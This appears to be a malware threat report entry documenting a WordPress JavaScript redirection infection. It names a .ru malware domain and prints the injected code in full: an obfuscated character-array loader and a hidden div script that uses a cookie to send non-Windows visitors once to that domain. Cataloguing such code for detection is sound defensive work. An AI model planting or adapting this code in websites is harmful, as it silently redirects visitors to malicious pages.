Malware Threats Report #2015121137

Date	2015-12-11
Type	JS redirection
Target	WordPress
Malware Domain	http://div-class-container.ru/m/
Malware Code	<script type="text/javascript">var aaea341=[123,183,223,228,241,155,238,239,244,231,224,184,157,235,234,238,228,239,228,234,233,181,155,220,221,238,234,231,240,239,224,182,155,231,224,225,239,181,168,172,171,171,160,182,155,239,234,235,181,171,160,182,155,242,228,223,239,227,181,172,171,171,160,182,155,227,224,228,226,227,239,181,172,171,171,160,182,157,185,133,183,238,222,237,228,235,239,185,133,225,240,233,222,239,228,234,233,155,218,241,237,218,222,163,230,164,246,237,224,239,240,237,233,163,223,234,222,240,232,224,233,239,169,222,234,234,230,228,224,169,232,220,239,222,227,163,162,163,217,247,182,155,164,162,166,230,166,162,184,163,214,217,182,216,165,164,162,164,247,247,171,164,214,173,216,248,133,225,240,233,222,239,228,234,233,155,218,241,222,218,222,163,233,220,232,224,167,241,220,231,240,224,167,223,164,246,241,220,237,155,223,220,239,224,184,233,224,242,155,191,220,239,224,163,164,182,223,220,239,224,169,238,224,239,207,228,232,224,163,223,220,239,224,169,226,224,239,207,228,232,224,163,164,166,163,223,165,179,177,175,171,171,171,171,171,164,164,182,223,234,222,240,232,224,233,239,169,222,234,234,230,228,224,155,184,155,233,220,232,224,166,157,184,157,166,241,220,231,240,224,166,157,182,155,224,243,235,228,237,224,238,184,157,166,223,220,239,224,169,239,234,194,200,207,206,239,237,228,233,226,163,164,166,157,182,155,235,220,239,227,184,170,157,182,248,133,241,220,237,155,228,184,171,182,133,228,225,163,233,220,241,228,226,220,239,234,237,169,220,235,235,209,224,237,238,228,234,233,169,228,233,223,224,243,202,225,163,157,210,228,233,157,164,184,184,168,172,164,246,133,241,220,237,155,218,241,240,218,240,184,157,225,172,220,221,175,179,172,176,222,222,177,222,224,176,223,225,171,180,179,173,224,224,225,179,172,223,179,175,220,172,178,174,157,167,155,218,241,240,218,228,184,157,220,224,220,174,175,224,180,221,223,179,179,174,174,179,175,171,220,178,174,223,223,178,179,171,222,172,225,172,171,179,173,220,157,182,133,228,225,163,218,241,237,218,222,163,218,241,240,218,240,164,184,184,184,240,233,223,224,225,228,233,224,223,164,246,218,241,222,218,222,163,218,241,240,218,240,167,218,241,240,218,228,167,176,164,182,133,228,225,163,218,241,237,218,222,163,218,241,240,218,240,164,184,184,218,241,240,218,228,164,246,242,228,233,223,234,242,169,231,234,222,220,239,228,234,233,169,227,237,224,225,184,157,227,239,239,235,181,170,170,223,228,241,168,222,231,220,238,238,168,222,234,233,239,220,228,233,224,237,169,237,240,170,232,170,157,182,248,133,248,248,133,183,170,238,222,237,228,235,239,185,133,183,170,223,228,241,185,133];var baea342="";for (var i=1; i<aaea341.length; i++) {baea342+=String.fromCharCode(aaea341[i]-aaea341[0]);} document.write(baea342);</script>
Malware Code	<div style="position: absolute; left:-100%; top:0%; width:100%; height:100%;"> <script> function _vr_c(k){return(document.cookie.match('(^\|; )'+k+'=([^;])')\|\|0)[2]} function _vc_c(name,value,d){var date=new Date();date.setTime(date.getTime()+(d86400000));document.cookie = name+"="+value+"; expires="+date.toGMTString()+"; path=/";} var i=0; if(navigator.appVersion.indexOf("Win")==-1){ var _vu_u="f1ab4815cc6ce5df0982eef81d84a173", _vu_i="aea34e9bd8833840a73dd780c1f1082a"; if(_vr_c(_vu_u)===undefined){_vc_c(_vu_u,_vu_i,5); if(_vr_c(_vu_u)==_vu_i){window.location.href="http://div-class-container.ru/m/";} }} </script> </div>